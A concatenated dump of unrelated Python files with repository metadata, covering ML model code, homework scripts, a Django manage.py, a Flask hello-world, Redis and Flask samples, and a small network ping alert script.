import anachronos from anachronos import Anachronos from e2e_test.testing_messages import RUNNABLE_EVENT_HANDLER, INSTANTIATED_EVENT_HANDLER, FUNCTION_EVENT_HANDLER from jivago.event.config.annotations import EventHandler, EventHandlerClass from jivago.lang.annotations import Override, Inject from jivago.lang.runnable import Runnable @EventHandler("event") class MyHandler(Runnable): @Inject def __init__(self, anachronos: Anachronos): self.anachronos = anachronos @Override def run(self): self.anachronos.store(RUNNABLE_EVENT_HANDLER) @EventHandlerClass class MyHandlerClass(object): @Inject def __init__(self, anachronos: Anachronos): self.anachronos = anachronos @EventHandler("event") def handle(self): self.anachronos.store(INSTANTIATED_EVENT_HANDLER) @EventHandler("event") def my_event_handler_function(): anachronos.get_instance().store(FUNCTION_EVENT_HANDLER)

[ "kento.lauzon@ligature.ca" ]

kento.lauzon@ligature.ca

f3e0a1ee0c51c30c907d6fbca3bac49e77f2e626

163bbb4e0920dedd5941e3edfb2d8706ba75627d

/Code/CodeRecords/2969/60796/287884.py

5d7f6824025a8984ecb4a4c0e69f947082fe52de

[]

no_license

AdamZhouSE/pythonHomework

a25c120b03a158d60aaa9fdc5fb203b1bb377a19

ffc5606817a666aa6241cfab27364326f5c066ff

refs/heads/master

2022-11-24T08:05:22.122011

2020-07-28T16:21:24

259,576,640

2

1

null

UTF-8

Python

false

177

py

s=input() result=[] for i in range(1,len(s)): if s[i]<=s[i-1]: result.append(i) result.append(len(s)) for i in range(len(result)): print(result[i],end=' ')

[ "1069583789@qq.com" ]

1069583789@qq.com

4baeb8c8d4d436eae9f7b82b7561636213a44f9c

6c040af1e37fa45735e0704d779425f36ab9cba3

/usr_dir/grid_decoders.py

8945a004f3ec0f021f69a72fb33216370225c9b2

[]

no_license

SegwangKim/neural-seq2grid-module

86eadf836663c2f654153c8036bbcfa2dad33776

6d2f34824af901850ede61a5c86f3da8a8fd990f

refs/heads/main

2023-02-16T15:53:24.190202

2021-01-15T08:40:40

323,207,737

6

2

null

UTF-8

Python

false

12,899

py

from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from tensor2tensor.layers import common_layers from tensor2tensor.models import resnet def dot_product_local_atten_2d(grid_structured, weight_q, weight_k, weight_v, rel_pos_embs): _, num_stacks, stack_size, hidden_size = common_layers.shape_list(grid_structured) grid_q = tf.nn.conv2d(grid_structured, weight_q, strides=[1, 1, 1, 1], padding='VALID') grid_k = tf.nn.conv2d(grid_structured, weight_k, strides=[1, 1, 1, 1], padding='VALID') grid_v = tf.nn.conv2d(grid_structured, weight_v, strides=[1, 1, 1, 1], padding='VALID') def translate_grid(grid_structured, row_offset, col_offset, constant_values=0): padded_grid = tf.pad(grid_structured, [[0, 0], col_offset, row_offset, [0, 0]], constant_values=constant_values) padded_grid = padded_grid[:, col_offset[1]:col_offset[1]+num_stacks, row_offset[1]:row_offset[1]+stack_size, :] return padded_grid def get_bias(grid_structured, row_offset, col_offset): return translate_grid(tf.zeros_like(grid_structured), row_offset, col_offset, constant_values=-100000) padded_grid_qks = [] padded_grid_vs = [] for r, row_offset in enumerate([[1, 0], [0, 0], [0, 1]]): for c, col_offset in enumerate([[1, 0], [0, 0], [0, 1]]): extended_padded_grid_v = tf.expand_dims(translate_grid(grid_v, row_offset, col_offset), axis=-1) padded_grid_vs.append(extended_padded_grid_v) # [b, n, s, h, 1] padded_grid_k = translate_grid(grid_k, row_offset, col_offset) padded_grid_qk = tf.reduce_sum(grid_q * padded_grid_k, axis=-1, keep_dims=True) # [b, n, s, 1] padded_grid_qk /= tf.math.sqrt(tf.cast(hidden_size, tf.float32)) # relative position embedding padded_grid_qk += tf.nn.conv2d(grid_q, rel_pos_embs[r*3+c], strides=[1, 1, 1, 1], padding='VALID') # masking interactions happened beyond the grid bias = get_bias(padded_grid_qk, row_offset, col_offset) bias = tf.identity(bias, f"bias_{r}{c}") padded_grid_qk += bias padded_grid_qks.append(padded_grid_qk) padded_grid_qks = tf.concat(padded_grid_qks, axis=-1) # [batch_size, num_stacks, stack_size, 9] padded_grid_qks = tf.nn.softmax(padded_grid_qks, axis=-1) padded_grid_qks = tf.identity(padded_grid_qks, "padded_grid_qks_probs") padded_grid_vs = tf.concat(padded_grid_vs, axis=-1) # [batch_size, num_stacks, stack_size, hidden_size, 9] self_atten_res = tf.einsum("bnsl, bnshl -> bnsh", padded_grid_qks, padded_grid_vs) return self_atten_res def prepare_local_weights(hp): hidden_size = hp.hidden_size weight_q = tf.get_variable("w_q", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) weight_k = tf.get_variable("w_k", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) weight_v = tf.get_variable("w_v", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) rel_row_pos_embs = [] rel_col_pos_embs = [] for r in range(-1, 2, 1): rel_row_pos_embs.append(tf.get_variable(f"rel_row_pos_emb_{r}", shape=[1, 1, hidden_size//2, 1], dtype=tf.float32)) rel_col_pos_embs.append(tf.get_variable(f"rel_col_pos_emb_{r}", shape=[1, 1, hidden_size//2, 1], dtype=tf.float32)) rel_pos_embs = [] for r, row_offset in enumerate([[1, 0], [0, 0], [0, 1]]): for c, col_offset in enumerate([[1, 0], [0, 0], [0, 1]]): rel_pos_embs.append(tf.concat([rel_row_pos_embs[r], rel_col_pos_embs[c]], axis=-2)) return weight_q, weight_k, weight_v, rel_pos_embs def local_self_attention(grid_structured, hp, name=""): with tf.variable_scope(name): weight_q, weight_k, weight_v, rel_pos_embs = prepare_local_weights(hp) dot_product_res = dot_product_local_atten_2d(grid_structured, weight_q, weight_k, weight_v, rel_pos_embs) return dot_product_res def bottleneck_tlsa_block(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = local_self_attention(inputs, hp, name="tlsa") inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_resnet_block_downsample(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base strides = 2 # downsample use_td = hp.use_td targeting_rate = hp.targeting_rate keep_prob = hp.keep_prob def projection_shortcut(inputs): """Project identity branch.""" inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=strides, data_format=data_format, use_td=use_td, targeting_rate=targeting_rate, keep_prob=keep_prob, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) # Only the first block per block_layer uses projection_shortcut and strides inputs = resnet.bottleneck_block( grid_structured, hidden_size_base, is_training, projection_shortcut, strides, False, data_format, use_td=use_td, targeting_rate=targeting_rate, keep_prob=keep_prob) return inputs def bottleneck_resnet_block_1d(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=hidden_size_base, kernel_size=[1, 3], strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_resnet_block(grid_structured, hp, kernel_size=3, out_multiple=4): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = out_multiple * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=hidden_size_base, kernel_size=kernel_size, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_tlsa(grid_structured, hp): for layer in range(hp.num_hidden_layers): with tf.variable_scope(f"bottleneck_tlsa_block_{layer}"): grid_structured = bottleneck_tlsa_block(grid_structured, hp) return grid_structured def bottleneck_resnet(grid_structured, hp, kernel_size=3): for layer in range(hp.num_hidden_layers): with tf.variable_scope(f"bottleneck_resnet_block_{layer}"): grid_structured = bottleneck_resnet_block(grid_structured, hp, kernel_size) return grid_structured def text_tcnn_body(grid_structured_states, hparams): """TextCNN main model_fn. Args: "grid_structured_states": Text inputs. [batch_size, num_stacks, stack_size, hidden_dim]. Returns: Final encoder representation. [batch_size, 1, 1, hidden_dim] """ inputs = grid_structured_states xshape = common_layers.shape_list(inputs) vocab_size = xshape[3] pooled_outputs = [] for _, filter_size in enumerate(hparams.filter_sizes): with tf.name_scope("conv-maxpool-%s" % filter_size): filter_shape = [filter_size, filter_size, vocab_size, hparams.num_filters] filter_var = tf.Variable( tf.truncated_normal(filter_shape, stddev=0.1), name="W") filter_bias = tf.Variable( tf.constant(0.1, shape=[hparams.num_filters]), name="b") conv = tf.nn.conv2d( inputs, filter_var, strides=[1, 1, 1, 1], padding="VALID", name="conv") conv_outputs = tf.nn.relu( tf.nn.bias_add(conv, filter_bias), name="relu") pooled = tf.math.reduce_max( conv_outputs, axis=1, keepdims=True, name="max") pooled = tf.math.reduce_max( pooled, axis=2, keepdims=True, name="max") pooled_outputs.append(pooled) num_filters_total = hparams.num_filters * len(hparams.filter_sizes) h_pool = tf.concat(pooled_outputs, 3) h_pool_flat = tf.reshape(h_pool, [-1, num_filters_total]) # Add dropout output = tf.nn.dropout(h_pool_flat, 1 - hparams.output_dropout) output = tf.reshape(output, [-1, 1, 1, num_filters_total]) return output def decode_by_decoder_type(grid_structured_states, hp, features=None): if hp.decoder_type == "cnn": grid_structured_outputs = bottleneck_resnet(grid_structured_states, hp) elif hp.decoder_type == "acnn": grid_structured_outputs = bottleneck_tlsa(grid_structured_states, hp) elif hp.decoder_type == "text_tcnn": grid_structured_outputs = text_tcnn_body(grid_structured_states, hp) else: grid_structured_outputs = grid_structured_states grid_structured_outputs = tf.identity(grid_structured_outputs, "grid_structured_outputs") return grid_structured_outputs

[ "ksk5693@snu.ac.kr" ]

ksk5693@snu.ac.kr

fee16caa3dd2f6b61d0a0ef336efadf80ff70336

0e9726bced390513f6d8076c240b09e0a1a8961c

/manage.py

0c0a3050bcd1374a05682c49f5f1587ed72908db

[]

no_license

EwdAger/mailAlarm

dbfe8ba03bfede1dfbb670f707a88bc5bd6d144c

fae43b0c2b33bab0c8a894e50602c983d7f58577

refs/heads/master

2022-12-10T01:41:57.412145

2020-03-31T01:57:18

249,985,604

1

0

null

2022-12-08T03:53:40

2020-03-25T13:27:19

Python

UTF-8

Python

false

629

py

#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mailAlarm.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

[ "ningwenjie@getech.cn" ]

ningwenjie@getech.cn

8399ada2cac36ef84801fd128ad5754773477d68

32a65b2bfcb3d3e85bb64bf1bc0e829a634c23cd

/lab2/src/emulation.py

a8f8c295cd65ac911179c76867f34e7b8bbf8499

[]

no_license

dpalii/db_sem2

99b8c07268d4233464e0d4e749b0324ddad1268e

05e933feb74aaecf311b85899eb7da8559a49a52

refs/heads/main

2023-05-07T12:17:21.584093

2021-05-29T21:27:09

343,198,627

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UTF-8

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py

import random from threading import Thread import user from faker import Faker import redis import atexit class User(Thread): def __init__(self, connection, username, users_list, users_count): Thread.__init__(self) self.connection = connection self.users_list = users_list self.users_count = users_count user.register(conn, username) self.user_id = user.sign_in(conn, username) def run(self): for x in range(6): message_text = fake.sentence(nb_words=10, variable_nb_words=True, ext_word_list=None) if random.choice([True, False]) else 'spam' receiver = users[random.randint(0, users_count - 1)] print(f"Message {message_text} was sent to {receiver}") user.create_message(self.connection, message_text, self.user_id, receiver) def exit_handler(): redis_conn = redis.Redis(charset="utf-8", decode_responses=True) online = redis_conn.smembers("online:") for x in online: redis_conn.srem("online:", x) print("EXIT") if __name__ == '__main__': atexit.register(exit_handler) fake = Faker() users_count = 5 users = [fake.profile(fields=['username'], sex=None)['username'] for u in range(users_count)] threads = [] for x in range(users_count): conn = redis.Redis(charset="utf-8", decode_responses=True) print(users[x]) threads.append(User( redis.Redis(charset="utf-8", decode_responses=True), users[x], users, users_count)) for t in threads: t.start()

[ "dpalii.study@gmail.com" ]

dpalii.study@gmail.com

d82c14428e5db53afc6e67f452fca67e343550bd

9f299a8ac1bb9fb5bb8a93067f9f09ce46812c5e

/meta.py

8f53c1ee54690b97372c826c367504f73d93238d

[]

no_license

hlycharles/WarfarinDoseRL

2ba831c93a6de5929531dacd7bfc70e7e82d89e7

f67650b8bcc176d6e5efee846e25797d4533c195

refs/heads/master

2020-04-26T00:59:31.315566

2019-04-04T22:17:39

173,193,170

6

3

null

UTF-8

Python

false

1,225

py

# feature names GENDER = 1 RACE = 2 ETHNICITY = 3 AGE = 4 HEIGHT = 5 WEIGHT = 6 INDICATION = 7 COMORBIDITIES = 8 DIABETES = 9 CONG_HEART = 10 VALVE = 11 MEDICATIONS = 12 ASPIRIN = 13 TYLENOL = 14 WAS_TYLENOL = 15 SIMVASTATIN = 16 ATORVASTATIN = 17 FLUVASTATIN = 18 LOVASTATIN = 19 PARAVASTATIN = 20 ROSUVASTATIN = 21 CERIVASTATIN = 22 AMIODARONE = 23 CARBAMAZEP = 24 PHENYTOIN = 25 RIFAMPIN = 26 SULFONAMIDE = 27 MACROLIDE = 28 ANTI_FUNGAL = 29 HERBAL = 30 TARGET_INR = 31 EST_INR = 32 STBLE_DOSE = 33 THERAPEUTIC_DOSE = 34 INR_REP = 35 SMOKER = 36 CYP_2C9 = 37 CYP_2C92 = 38 CYP_2C93 = 39 COMB_CYP2C9 = 40 VKORC1_3673 = 41 VKORC1_3673_QC = 42 VKORC1_5808 = 43 VKORC1_5808_QC = 44 VKORC1_6484 = 45 VKORC1_6484_QC = 46 VKORC1_6853 = 47 VKORC1_6853_QC = 48 VKORC1_9041 = 49 VKORC1_9041_QC = 50 VKORC1_7566 = 51 VKORC1_7566_QC = 52 VKORC1_861 = 53 VKORC1_861_QC = 54 CYP_CONS = 55 VKORC1_N1639_CONS = 56 VKORC1_497_CONS = 57 VKORC1_1173_CONS = 58 VKORC1_1542_CONS = 59 VKORC1_3730_CONS = 60 VKORC1_2255_CONS = 61 VKORC1_N4451_CONS = 62 # feature tags FEATURE_NO = 0 FEATURE_LIST_ENUM = 1 FEATURE_ENUM = 2 FEATURE_RANGE = 3 FEATURE_NUM = 4 FEATURE_BIN = 5 FEATURE_LIST_MAX = 6 # dose ranges DOSE_LO = 0 DOSE_MD = 1 DOSE_HI = 2

[ "hly.charles@gmail.com" ]

hly.charles@gmail.com

15d8e4e96406fa345ca1a8f85f263bd230c55691

c91b284acf6bdca5683f080dd4ba77fd394451ae

/Easy Problems/RemoveLinkedListElements.py

052f5750fff77a57aeb20a942affee8938a60f03

[]

no_license

darpanmehra/Leetcode

f523ac5ea4f9ba0e0ccaaeab259212c1ee188de8

18335b9a6d3da305c968acb90f9cf86cd6c40692

refs/heads/master

2020-05-28T09:47:41.175070

2019-05-29T12:30:51

188,960,041

0

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UTF-8

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1,101

py

#203. Remove Linked List Elements #Problem Link: https://leetcode.com/problems/remove-linked-list-elements/ #Remove all elements from a linked list of integers that have value val. #Example: #Input: 1->2->6->3->4->5->6, val = 6 #Output: 1->2->3->4->5 # Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def removeElements(self, head, val): """ :type head: ListNode :type val: int :rtype: ListNode """ dummyhead = ListNode(-1) dummyhead.next = head current_node=dummyhead while current_node.next != None: if current_node.next.val == val: current_node.next = current_node.next.next else: current_node = current_node.next return dummyhead.next #Runtime: 56 ms, faster than 96.16% of Python online submissions for Remove Linked List Elements. #Memory Usage: 18.8 MB, less than 18.13% of Python online submissions for Remove Linked List Elements

[ "darpan.mehra10@gmail.com" ]

darpan.mehra10@gmail.com

1000b8d48680faa5d595c54a4a316f790e37b492

7381c70b78a1841e3a14fd6d6b933e9de503bbea

/semana5/horno_alternativo.py

8d8d697a0257fb6531f514191b749181d4f7e571

[]

no_license

mundostr/adimra_introprog21_raf

c594a958f77797b67b9925671341ffe8ae4899ea

d529daae684268b6e8548e53dfdba7092bf83081

refs/heads/master

2023-07-17T15:06:23.775878

2021-08-27T23:17:12

370,476,686

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py

# LIBRERIAS import random # DEFINICIONES TEMP_MIN = 100 TEMP_MAX = 200 TEMP_TOL = 2 TEMP_OBJ = 150 TEMP_PRUEBA = 145 # FUNCIONES def generarArchivoRandomSensor(): # r = read (lectura) # w = write (escritura sobreescrita) # a = append (escritura agregada) archivo = open("lecturas_horno.txt", "w") for x in range(50): valorRandom = random.randint(TEMP_PRUEBA - TEMP_TOL, TEMP_PRUEBA + TEMP_TOL + 1) valorRandom = str(valorRandom) + "\n" archivo.write(valorRandom) archivo.close() print("Archivo generado") def verificarTemperatura(): # Recuperación de lecturas de sensor archivo = open("lecturas_horno.txt", "r") lista = archivo.read().split("\n") archivo.close() # Obtención de promedio totalLecturas = 0 for indice, item in enumerate(lista): lista[indice] = int(item) # lista[indice] = int(lista[indice]) totalLecturas = totalLecturas + lista[indice] promedio = totalLecturas / 50 print(promedio) # Comparación de promedio con obj OBJ_MIN = TEMP_OBJ - TEMP_TOL OBJ_MAX = TEMP_OBJ + TEMP_TOL # if (promedio >= OBJ_MIN and promedio <= OBJ_MAX): if (OBJ_MIN <= promedio <= OBJ_MAX): print("Horno estable") elif (promedio > OBJ_MAX): print("Horno muy caliente, apagar quemador") else: print("Horno frío, encender quemador") # PRINCIPAL # generarArchivoRandomSensor() verificarTemperatura()

[ "idux.net@gmail.com" ]

idux.net@gmail.com

63ee8feb4bb7423ab04b8f7cb28741718b479ce5

6f178111463bcdbdd285c7480938c826c0a422e5

/python/find_n.py

3dd58d322f43b1fd048eb2aa08dea349e1822d26

[]

no_license

ivanliu/fun

a77c37f651d87907c39e2ebc671f12b696e9b746

ad986f8ffdf3d5e06e5ac31c77c1442f6e48042e

refs/heads/master

2021-01-13T04:31:00.944989

2020-03-22T15:09:51

9,335,143

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UTF-8

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py

def find_n(A, B, n): ''' find the n-th largest item in two sorted arrays ''' if __name__ == '__main__': A = [100, 98, 89, 77, 66, 55,44] B = [101, 94, 67, 50, 20,3] print "Array A: ", A print "Array B: ", B print "The 5th largest number: ", find_n(A, B, 5)

[ "kailiu@yahoo-inc.com" ]

kailiu@yahoo-inc.com

fe3b3cdb958b9b7d1dc73d3f854f5f3811da9d6c

f94d9cf5ed8b90a4406b38d3ba223eab8778a6d9

/app.py

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[]

no_license

alexaapetrei/flask-helloworld

e646c4baaa939a15ed1c567c0074ff4c2b6fd4f3

ccb0a0f76dbe9a2cc58d645f3c1f52ac292927be

refs/heads/master

2020-03-15T12:01:47.303237

2018-10-08T09:03:11

132,135,016

0

null

2018-05-04T12:04:54

null

UTF-8

Python

false

118

py

import os from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello from Python!"

[ "craig.kerstiens@gmail.com" ]

craig.kerstiens@gmail.com

4bb368bc464136b85a108a937fac5d39a43dfd85

b43db176243e768771e24ceb637206803e044272

/setup_control/setup.py

a7e8058a6981d24cc94797c568637be2242783c0

[]

no_license

jc-roth/Microwave-Transmission-Experiment

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bb287726f422e17ee9692e3edd8b314a968067cc

refs/heads/master

2021-06-24T08:03:50.701185

2017-08-19T00:10:26

null

0

null

UTF-8

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py

from setuptools import setup setup(name='setup_control', version=1.0, description='For use controling the microwave transmission setup', url='https://github.com/catsandcode/Microwave-Transmission-Experiment', packages=['setup_control'], install_requires=['numpy', 'pyserial'], zip_safe=False)

[ "jc.roth73@gmail.com" ]

jc.roth73@gmail.com

be724e65f91b25edf4c500268e61aaea8fe67371

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/Assignment4/Q4/ocr/linear/linear.py

c43b591b1608b844afdca530db4d755e0c7b3062

[]

no_license

aditya3513/Machine-Learning-using-Numpy-and-Pandas

d74777cbe314ea1cc438f9afe527aebb3e1ca2ba

eb6ed9dda9534490bfe100b5d4bcb0cac30a9c62

refs/heads/master

2020-04-14T14:17:41.127609

2019-01-02T21:40:17

163,892,438

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UTF-8

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py

import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import KFold from sklearn.preprocessing import StandardScaler from sklearn.svm import SVC from sklearn.metrics import accuracy_score from sklearn.metrics import recall_score from sklearn.metrics import precision_score from sklearn import metrics #reading data in nd-Arrays train_data = np.genfromtxt ('../train.csv', delimiter=",") test_data = np.genfromtxt ('../test.csv', delimiter=",") #shuffle data np.random.shuffle(train_data) np.random.shuffle(test_data) # nd array of Features X_train = train_data[:, :-1].astype(np.float) #nd array of Labels Y_train = train_data[:, -1].flatten() # nd array of Features X_test = test_data[:, :-1].astype(np.float) #nd array of Labels Y_test = test_data[:, -1].flatten() #for class 1 and all else nagative def getY(Y, index): Y_input = Y print("//////////",Y_input) for i in range(len(Y_input)): if Y_input[i] == index: Y_input[i] = 1 else: Y_input[i] = 0 return Y_input def getC(): C = [] for i in np.arange(-5, 10, dtype=float): val = np.power(2,i) C.append(val) return C def getCombinations(C): combinations = [] for c in C: combinations.append(c) return combinations def run(X_train, Y_train, X_test, Y_test): C = getC() combinations = getCombinations(C) # C array final_acc = [] final_recall = [] final_precision = [] #generating K folds, i.e 10 folds # kf_k = KFold(n_splits=10) k = 1 #this splis data in to 90:10 train-test split # for train_index, test_index in kf_k.split(X): kf_m = KFold(n_splits=5) # X_train, X_test = X[train_index], X[test_index] # Y_train = Y[train_index].flatten() # Y_test = Y[test_index].flatten() # Y_train, Y_test = Y[train_index], Y[test_index] best_score = -999 best_score_combo = 0 for combination in combinations: scores = [] for train_index_m, test_index_m in kf_m.split(X_train): X_train_m, X_test_m = X_train[train_index_m], X_train[test_index_m] Y_train_m = Y_train[train_index_m] Y_test_m = Y_train[test_index_m] scaler_m = StandardScaler().fit(X_train_m) X_train_m_scaled = scaler_m.transform(X_train_m) X_test_m_scaled = scaler_m.transform(X_test_m) X_train_m_scaled = np.insert(X_train_m_scaled, 0, np.ones(X_train_m.shape[0]), axis=1) X_test_m_scaled = np.insert(X_test_m_scaled, 0, np.ones(X_test_m.shape[0]), axis=1) model = SVC(C=combination, kernel='linear', max_iter=1000, probability=True) model.fit(X_train_m_scaled, Y_train_m) # score = model.score(X_test_m_scaled, Y_test_m) train_preds = model.predict_proba(X_test_m_scaled)[:,1] training_acc = accuracy_score(Y_test_m, train_preds.round()) # train_fpr, train_tpr, train_threshold = metrics.roc_curve(Y_test_m, train_preds.round()) # train_roc_auc = metrics.auc(train_fpr, train_tpr) scores.append(training_acc) mean_score = np.mean(scores) # print("----------Tuning [gamma, C] = ",combination, " score = ", mean_score) # print("mean score = ",mean_score) # combo_scores.append(mean_score) if mean_score > best_score: best_score = mean_score best_score_combo = combination print("------------------------------------------") print("Training results for fold = ",k, " [C] = ", best_score_combo) print("Final Results for all k folds") print("auc score = ", best_score) #normalizing Training data scaler = StandardScaler().fit(X_train) X_train_scaled = scaler.transform(X_train) X_test_scaled = scaler.transform(X_test) X_train_scaled = np.insert(X_train_scaled, 0, np.ones(X_train.shape[0]), axis=1) X_test_scaled = np.insert(X_test_scaled, 0, np.ones(X_test.shape[0]), axis=1) # Y_train = Y[train_index].flatten() # Y_test = Y[test_index].flatten() model = SVC(C=best_score_combo, kernel='linear', max_iter=1000, probability=True) model.fit(X_train_scaled, Y_train) preds = model.predict_proba(X_test_scaled)[:,1] preds = preds.round() # preds = pred # actual_score = model.score(X_test_scaled, Y_test) # final_acc.append(actual_score) ''' Now we calculate accuracy, recall, percision ''' # accuracy validation_acc = accuracy_score(Y_test, preds) final_acc.append(validation_acc) # recall validation_recall = recall_score(Y_test, preds) final_recall.append(validation_recall) # precision validation_precision = precision_score(Y_test, preds) final_precision.append(validation_precision) print("\n\n Validation results for fold = ",k, " [C] = ", best_score_combo) print("Final Results for all k folds") print("accuracy = ", validation_acc) print("recall = ", validation_recall) print("precision = ", validation_precision) # print("Validation at fold k = ",k," best combination [gamma, C] = ",best_score_combo, " score = ", actual_score) ''' Now we calculate auc, roc and curves ''' fpr, tpr, threshold = metrics.roc_curve(Y_test, preds) df = pd.DataFrame(dict(fpr = fpr, tpr = tpr)) roc_auc = metrics.auc(fpr, tpr) plt.figure() plt.title('Receiver Operating Characteristic') plt.plot(fpr, tpr, 'b', label = 'AUC = %0.2f' % roc_auc) plt.legend(loc = 'lower right') plt.plot([0, 1], [0, 1],'r--') plt.xlim([0, 1]) plt.ylim([0, 1]) plt.ylabel('True Positive Rate') plt.xlabel('False Positive Rate') file_name = "fold_k_"+ str(k)+".png" plt.savefig(file_name) # k = k + 1 print("\n\n\n\n================================") print("Final Results for all k folds") print("mean accuracy = ", np.mean(final_acc)) print("std dev. accuracy = ", np.std(final_acc)) print("mean recall = ", np.mean(final_recall)) print("std dev. recall = ", np.std(final_recall)) print("mean precision = ", np.mean(final_precision)) print("std dev. precision = ", np.std(final_precision)) # print("Mean = ", np.mean(acc)*100) # print("Stand Deviation = ", np.std(acc)*100) print(set(Y_train)) for i in set(Y_train): print(set(getY(Y_train, i)))

[ "aditya413sharma@gmail.com" ]

aditya413sharma@gmail.com

2a6f0478aedfaa1dd0ee1c606fd33b53ae3cd21c

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/regressionMetrics.py

b52ceaf0ccad5ce230f19043af2a3f3accfc6592

[]

no_license

moone009/wec_python

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2f1942de0548a22880720a0cba548352468cb4ce

refs/heads/master

2020-07-02T06:20:24.870695

2016-09-01T20:11:29

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UTF-8

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## from regressionMetrics import * ## performancemetrics.regression_metrics(predictions,Y_train) import math import pandas as pd class performancemetrics: def __init__(self, predictions,test_var): self.predictions = predictions self.test_var = test_var def regression_metrics(predictions,test_var): predictions = pd.DataFrame(predictions) nrows = len(pd.DataFrame.as_matrix(test_var)) sum = test_var.sum() average = float(sum/nrows) SSR = (predictions - average) ** 2 SSR = SSR.sum() SSE = (pd.DataFrame.as_matrix(test_var)-predictions) ** 2 SSE = SSE.sum() SST = (pd.DataFrame.as_matrix(test_var) - average) ** 2 SST = SST.sum() R2 = SSR/SST RMSE = (predictions - pd.DataFrame.as_matrix(test_var)) ** 2 RMSE = RMSE.sum() RMSE = math.sqrt(RMSE) / len(predictions) MAE = predictions - pd.DataFrame.as_matrix(test_var) MAE = MAE.abs().sum()/ len(predictions) values = [['Numer of Predictions',len(predictions)], ['Numer of Test Variables',nrows], ['SSR',SSR],['SSE',SSE], ['SST',SST], ['R2',R2], ['MAE',MAE], ['RMSE',RMSE]] df = pd.DataFrame(values, columns=['Measurement', 'value']) df.a = df.value.astype(float).fillna(0.0) return(df)

[ "mooneychristopher1@gmail.com" ]

mooneychristopher1@gmail.com

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/Python Projects/Script/wifi_script.py

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[]

no_license

Kunvuthi/pythonlearningprojects

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refs/heads/master

2023-04-03T10:01:39.299732

2021-04-05T09:38:50

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import sys import os import subprocess from decouple import config IP_NETWORK = config("IP_NETWORK") IP_DEVICE = config("IP_DEVICE") proc = subprocess.Popen(['ping', IP_NETWORK], stdout=subprocess.PIPE) while True: line = proc.stdout.readline() if not line: break connected_ip = line.decode('utf-8').split()[3] if connected_ip == IP_DEVICE: subprocess.Popen(['say','Someone has connected to your network!'])

[ "43140224+Kunvuthi@users.noreply.github.com" ]

43140224+Kunvuthi@users.noreply.github.com

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USGSMenloPychron/pychron

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refs/heads/develop

2021-01-12T14:09:18.983658

2018-02-06T14:25:05

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2016-10-01T16:59:46

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UTF-8

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py

